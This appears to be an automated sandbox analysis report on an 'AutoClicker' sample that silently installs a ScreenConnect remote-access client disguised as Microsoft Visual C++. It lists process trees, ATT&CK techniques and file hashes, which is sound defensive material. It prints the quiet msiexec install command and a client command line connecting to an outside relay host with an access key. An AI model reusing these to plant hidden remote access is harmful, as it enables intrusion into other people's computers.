Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe
4348	vlc.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
4348	vlc.exe
5612	OpenWith.exe
4732	OpenWith.exe
5956	OpenWith.exe
2328	OpenWith.exe
2536	OpenWith.exe
4928	OpenWith.exe
4560	OpenWith.exe
6008	OpenWith.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3908 wrote to memory of 5092	3908	AutoClicker.exe	85
PID 3908 wrote to memory of 536	3908	AutoClicker.exe	86
PID 5796 wrote to memory of 1808	5796	msiexec.exe	89
PID 1808 wrote to memory of 1028	1808	MsiExec.exe	90
PID 5796 wrote to memory of 616	5796	msiexec.exe	91
PID 4492 wrote to memory of 2372	4492	ScreenConnect.ClientService.exe	97
PID 4492 wrote to memory of 3348	4492	ScreenConnect.ClientService.exe	99

C:\Users\Admin\AppData\Local\Temp\AutoClicker\AutoClicker.exe
"C:\Users\Admin\AppData\Local\Temp\AutoClicker\AutoClicker.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3908
- C:\Windows\system32\msiexec.exe
  "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\WZF0B4.tmp" /qn /norestart
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5092
- C:\Users\Admin\AppData\Local\Temp\AutoClicker\redist\2022\vcomp140.dll
  "C:\Users\Admin\AppData\Local\Temp\AutoClicker\redist\2022\vcomp140.dll"
  2⤵
  - Suspicious behavior: GetForegroundWindowSpam
  PID:536

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5796
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 830413BF27209FA865426A9EDF3763C2
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIF558.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240711171 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Drops file in Windows directory
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1028
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D4174085262EFACF1059C7F94E856FF7 E Global\MSI0000
  2⤵
  - Drops file in Windows directory
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:616

C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=442.fast-ports.com&p=8041&s=bf62b208-ab1b-4bc8-bd47-36b378452937&k=BgIAAACkAABSU0ExAAgAAAEAAQC9tEvdRVGC5lIY8X4hjpl0U0sJGDNefbQTy9CEs8H%2fsuLAC39V527bXl831TqO7MXgRnK94hZ1aOTauI2TPhqC4k%2flylXJ6D38p6xP5mx2S3qGy1rV5284%2fIJoxaEsJLZ7l0B2HwJ7xqsXfOkEcazSXuGVNQZm6cj2Wkywm83LPev272NRgJL5Ez1udPKfiyka3LB05OTsr7CFz6SdMU9niD2bEajAruU%2fKDgZzHcKsuCpSPOtVxB6tGyDCUlzt%2ba11fKeVqz108gLHpQ7IRBxW1XUK1pqnfcm7J7yrkyn1VeWAaAe2z2gCkElPg3L%2bZnZwHwdsLQILT%2b5HoiupqbW&c=AutoClicker"
1⤵
- Sets service image path in registry
- Drops file in System32 directory
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe" "RunRole" "cc1dafd1-baaf-4d10-95c6-f462ee28b0f9" "User"
  2⤵
  - Executes dropped EXE
  PID:2372
- C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe" "RunRole" "0cf649a1-fbba-44bc-afef-894a6642aa4e" "System"
  2⤵
  - Drops file in System32 directory
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:3348

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4348

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:5108

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:3900

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:2436

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:5460

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5612

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4732

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5956

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2328

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:5552

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:5572

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:404

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:5664

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:1416

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:5072

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:5268

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:5692

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:1048

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:4816

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:5716

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:1044

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:5924

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2536

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4928

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4560

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6008

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:1228

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:5948

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:3052

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ExportUse.aiff"
1⤵
PID:4528

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:3376

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:2080

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:5436

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\UninstallWrite.avi"
1⤵
PID:4292

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58f20f.rbs

Path C:\Config.Msi\e58f20f.rbs
Size 214KB
SHA256 577e5aabd7eb1e3908423b2d8f3c6e7fc3f47f6e4521f2c2bf4995d88cc67b06
MD5 3fe0b2ab65b56e5b2aabb348f769ad97
SHA1 f2ac5d5ca7ef522df0d3d4c6aedadb3f34a45e4f
SHA512 ffba128b247521d5064be90697d3d6b08a66982f4aff8c06e88cff41f07c99e773686e21e9cf27c691cd5b2d9d2d7ad5e9930f73c5f2aecba8bd47156c6dadaf
SSDEEP 3072:La9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGA:LauH2aCGw1ST1wQLdqvA
TLSH
T181248D217490807EE7F91A32D93F9A71BE7DF6281760C99E83848C1E5D604C06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.Override.en-US.resources
Size 227B
SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
MD5 dfd0bdff874bb29b508f15bdd35cb6a3
SHA1 de772d64129e084d150d8087ccdac16ef97fb185
SHA512 6addfae10478871085c796f2af5a11cd78088fc49b245df2229db7546973ff9a16785c72bf61f569e16a3e79f7f48ef8c1badb91313271d9515af3d3b4b759b0
TLSH
T1D7D0A726136C1075C5620E37241531C1172BD51D9038596D9894122C5FB22074F81A22
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.Override.resources
Size 3KB
SHA256 5d1d6a91f03624eb0e5afadf13b9fb0dda18d0171df7979860007fd3a1f438b8
MD5 729295f570c221c8c85e581d622ecd72
SHA1 17f11b5bb283161212024cb423968a91b29692f2
SHA512 e0dc88de3f5b1f35398bcb692f6719ef0280b8d691518242b47ac284030d477e4ead3f8adba82303f8270136bad60220ef6aed856afe7353302042402424b4dd
TLSH
T12A711FC2F2CEA0DCE217197722F7B010EC73146D8C99AB5BB450A60901D98AC9BC3733
MD5 SHA1 SHA512 TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.en-US.resources
Size 48KB
SHA256 f8398a235b29af6569f2b116e0299b95512d042f5a4cd38c98c79729a5fbdb9d
MD5 511202ed0ba32d7f09eab394c917d067
SHA1 dbd611720fd1730198f72dec09e8e23e6d6488f8
SHA512 f04b08938f3ebf8cfa1a1157a94da3ae4699494bdce566619afa5b13a8f6ebe556d522c064e5ea02e343b59a489343f77e3ea2bb2ea390aae35a626f41cadc77
SSDEEP 1536:sdr6QF+gQpAfqiErOmOCqZUWi+JgJ0FQi9zwHLAhDKZ1HtRKekmrg9:sdr1F+gQOlErOmPqZUWi+JgJ0FQi9zw2
TLSH
T166232D1277FD1A58F5F36F05BE7A94619937BC6A2E25C06E1028815E09B2F80CDB2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.resources
Size 35KB
SHA256 a985bc17bb423ac98f5309d632ad0846494faa46951bb87dd16e9cc68c829549
MD5 74c342364cf2cdb1e192b8b940f9b6fc
SHA1 abd439fdd9ef2e89bdabf7ae4d098160c5f76451
SHA512 aeb6dbc5e0b6ba40ef1c5085e0b310e94e3c36d7250bd62fac215263034d450e3cdb5c7614f37800883a824f7ce063aa737f3d62cf0c93f1ea03d6d01aacd3e2
SSDEEP 768:MU0GKziZ28Y8zLAU53PZrXgTf6vEVm6zjpGYUElerG49:F0F58BzT5PZrXgTf6v0fzNGqn49
TLSH
T149F2E1C7ABBD5C8CEB7ED7B278E85860063F62070A5592137D03904265265B86CB8F7F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.Client.dll
Size 192KB
SHA256 c48818729f4743c8ca9e1b31c8fe3c3e4bb335ae5e5e9ac253a823f9979e582c
MD5 f25390890739e859c8706b09335ecf91
SHA1 126983a750dfb24eaf6549a3d438cf2c98d5a5d6
SHA512 d6b6d959b96648a6aeb4e695f3730d5e7705ee1cfc4e67fad0122e78cc858a1633f974601541fabb6bd45459130c726465433525d779bf9ec2f6272d315817e6
SSDEEP 3072:zS77ZHYo+NOChU9q1yt5ts2VUXEWcyzv8qOnzDvJXYp:k7io8OCS41yR4XaXqOnG
TLSH
T17B145C9673684D2AD6AF4D73B4607028CA72ED099073E66E5D04BDFA59B7380CE503E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.ClientService.dll
Size 66KB
SHA256 4505825b498071330af95e6fb49d0e4838e7f0c7afd760f46d19d0c7c20eb5e5
MD5 b7461cca3215c29d40cdd17be2a69ac8
SHA1 6e8d68ee19f522c31e303216b27b4cc733755a28
SHA512 d050b30686d14e9d5e4b626359c7a410abb1e08faa6699bd8f629f334ae479726bedffda005080ac7684786a9c375894d09b09d3a000df95902f9030f02f90c3
SSDEEP 1536:ZALNsA33YG2TaqrLYp7B0VDIuZMYQ9VflP1IEPbuKS:iLNsaqrLSB0VEcQ9VZ1IYS
TLSH
T1AE634A84A3BE9AB7C9DF4E38B8B5B0910AB1CB01D061FBAC8CC974D61B537C159147A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.ClientService.exe
Size 93KB
SHA256 c934cc868a7e985753ccaaef66d3e0714819be1d5549d600e113e09c93142cb9
MD5 4e2a6dba43154f0e1665438678fc3b22
SHA1 11e8ea7669806e0b7229ac9d6bd7d2b51143fa01
SHA512 b7e90592752e627cd22bafbb5c6db0218fb0dc6e7c346e2f3a66e61cb3e8f33f14289b985d8517f87a7705618208cb1642379987079023e5f86c31cfad35287d
SSDEEP 1536:Hg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgEU0HMY7HxA:AhbNDxZGXfdHrX7rAc6myJkgEU0HH6
TLSH
T156935A13B5C28872D473093158E0DAB49A3FF9615E61DEAB3798022A4F342C1BE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsAuthenticationPackage.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsAuthenticationPackage.dll
Size 244KB
SHA256 7a6e2a764928322d7f1e57af61a1e463bff0cd373c19c4bd0a3dc93a845fa46d
MD5 8ab5e72cf880e64c9aabc8906f77d430
SHA1 a32c08ee5247588952796b979f5dc4899998ee67
SHA512 6f1ea2624081a7658e383120cb1b0451611624758966d572c366d2b4b6f685c4ac391850c3a6a62fe9280fe6ee12d021f17fa791fe319287cf963a8c4de3b6db
SSDEEP 3072:FJvChyA4mk0b4GvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2zt9Zgcld5i9:H0BvxDdL6d8VNdlC3g0RAnhi
TLSH
T1A9347C15B7A50CB4EC77823888535A46E7B2BC160760E6CF03E0425ADF6F7D1A63E762
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe
Size 584KB
SHA256 aa921b756893d0a0740e90469c27d047bfc0b733f38e5f1490df47baf8441d7a
MD5 f470cc302622d8f0ac53c63cdc858d38
SHA1 49de93f9fa232bb68ed43fa439a7ba2d9eb58b58
SHA512 767bac83d095f4c941f4639ce2933b44d606ada3e3786103ea0cf1c1dafb100b2760721226a609ebc5dcab1243fbcd421b6c83c3949ccd4c83ed4540393bbc23
SSDEEP 6144:lyX78vqMKHMds2z7xCATIo1V7zVlJQKMtk/zQdQcYF2/R4IrNYuoDASL4+UKFvh+:MopKsdDtCATlXCttk0HYUp
TLSH
T1EFD47D21377ADBBAC4AF0739B0A2141427B0E9066245E78E4F54F9E91D9B3894F183F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsCredentialProvider.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsCredentialProvider.dll
Size 869KB
SHA256 46869989dc9086be05080b30a3dccefa9df021826a04820f6b2f30e2e86b5f9c
MD5 f6ca5293fc5780f17590814f9d61562b
SHA1 29dc646d3ad3c5156d4a084f23aa4bfb63bdbc3c
SHA512 ca7c2e5264ba5fbc7cf1a4b069769280b144cfa61b70c51c4f810ed0a401719defc0e64cb3fad5377df4cda9844e1baa993cb3bc0958552b544765058701de8e
SSDEEP 6144:2h3XwzxgTrfhf6lsyGumux8KE1HlnU8sWtPBKiN5YePElrwZ7FIKEJz89DER0n32:ED5qe1H1tskkdq+KcgdEU3+M0wPkFRh
TLSH
T1D7154B1BE69540B6C0ADC5B5D31B9A36B7F6F4860B14759F0BD40A223F6AF906B3C384
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.config

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\app.config
Size 1KB
SHA256 6c034f6d8ad4f428b2bb7b147ff33df09fd0e03fd80f6a09350ffceb2c006434
MD5 cf7003bd73cc0fedcd1335b3e610eaa1
SHA1 c42a2bf0ff8b0491d840dc9cf610fb4443d587f0
SHA512 4e487cde94f12b438beb67271d7a9ff63883af00d1d299d16514b8104cfbf2dca478273f06a83909ad10bd2a14ef00ed6b015b44034b81b852171e7cb0969834
TLSH
T11731501DB5C0AE9915725631E63152D1EC7049335266B0E0B8DE316B9F70ECA4BF32EA
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\Microsoft Visual C++ 2019\system.config
Size 938B
SHA256 63b1725577a5ea30d72ee595e3a421c39907010dede57ad9828ee5a9ca5fb4c7
MD5 1495a2aa1c621adf01d7ddbf0ecbc790
SHA1 5cfbe47606f5ecbc5519d6e829ca92cf92784329
SHA512 d4d42376b2cce59fc032c4930018b605ab468667c96fb0ceaf39d87d84b23a28b8b6dec88963e4ec4af049024fa350496e6a0238acf3f73b4af443bab80eaac4
TLSH
T1AF11445071C0B88A03731E72CD238781AE72661B101405D97A6F223E5B319DD07B3198
MD5 SHA1 SHA512 TLSH

Submit Download

WZF0B4.tmp

Path C:\Users\Admin\AppData\Local\Temp\WZF0B4.tmp
Size 12.9MB
SHA256 a65e595248ef3a63b9cd4b267e50694fbd6c2ec7bb2867f1a111a241b83aa623
MD5 3c5a4c3fc80532dc383176e75576c319
SHA1 66b8005a479033ab948819b9a7ae3030423919f1
SHA512 e8f20f6b806ab86eab61047326b3a0ed9ccd75135d649db269b81cc1b9dc8cb388e68b0c88475989b02cb5c63f6e163d20faf8097817f692ce7dff65f9b8b054
SSDEEP 196608:Z91veKFh91veKO91veKS91veKQ91veKl91veKz91veKD:Z9bh909o9C9b9d9B
TLSH
T1E4D6223276FC0154E2B30BB5ECBA81B46C76BD288E22E06E9260755D6570F548EB3737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vlc-qt-interface.ini

Path C:\Users\Admin\AppData\Roaming\vlc\vlc-qt-interface.ini
Size 129B
SHA256 a8b49a6962a0b971929dd9cf5354c63485210d0e5045cb3b464141ce5d288a54
MD5 a606549f9e2b2116a5219f393530669d
SHA1 a461a3dcba9e3f9a95302f7af8890a2544f6d2ea
SHA512 88dbb9fdf34654e1215c41e9fb0f1e516fb5a5a478d9be93aca108c570c805e9b3888184696abd98a35dccda2ccd9ccc00373f5830a238f5281e68b31522b281
TLSH
T1EEB02B8101D9484346C84147C30F910F2672FD2CA40431C2E3C268021548F6D85C1CB0
MD5 SHA1 SHA512 TLSH

Submit Download

vlc-qt-interface.ini

Path C:\Users\Admin\AppData\Roaming\vlc\vlc-qt-interface.ini
Size 79B
SHA256 45c5256ac00eccdbebd41045de05ce80a239b9253db7d87bc928b88d04e37945
MD5 30413308776dc86031997ef5e494d02f
SHA1 d25c051b615c020c759f7bcb7302ffc2e4f537f4
SHA512 417541324e440a7f4821877a6df4116fb6261b73079785f3c01c46ee83e44066d4aae1010d7fb524a4af043c3a2e4976c64211587469f38997a994d197289094
TLSH
T127A0124000D5400285840287411E520E1667E8289400305263C755011445C6D4181871
MD5 SHA1 SHA512 TLSH

Submit Download

vlc-qt-interface.ini.Ra4348

Path C:\Users\Admin\AppData\Roaming\vlc\vlc-qt-interface.ini.Ra4348
Size 129B
SHA256 f947ba843a8d1c8c8fd9460b33951b15384613cd273d852fde19f3645bb2a504
MD5 b1a9e7555c6c232b4798c2dce86e2bae
SHA1 863ade7c8f3370c64f0807d7ca3d10f84d45ef18
SHA512 aea4948a4607e4e5be97dcf45a87198f09950af9383efc6a2bb96590b989e921dbbe11edd1e8ca14f5dc445a1758da8911ad2e44dbd194b32057695ca3bd833c
TLSH
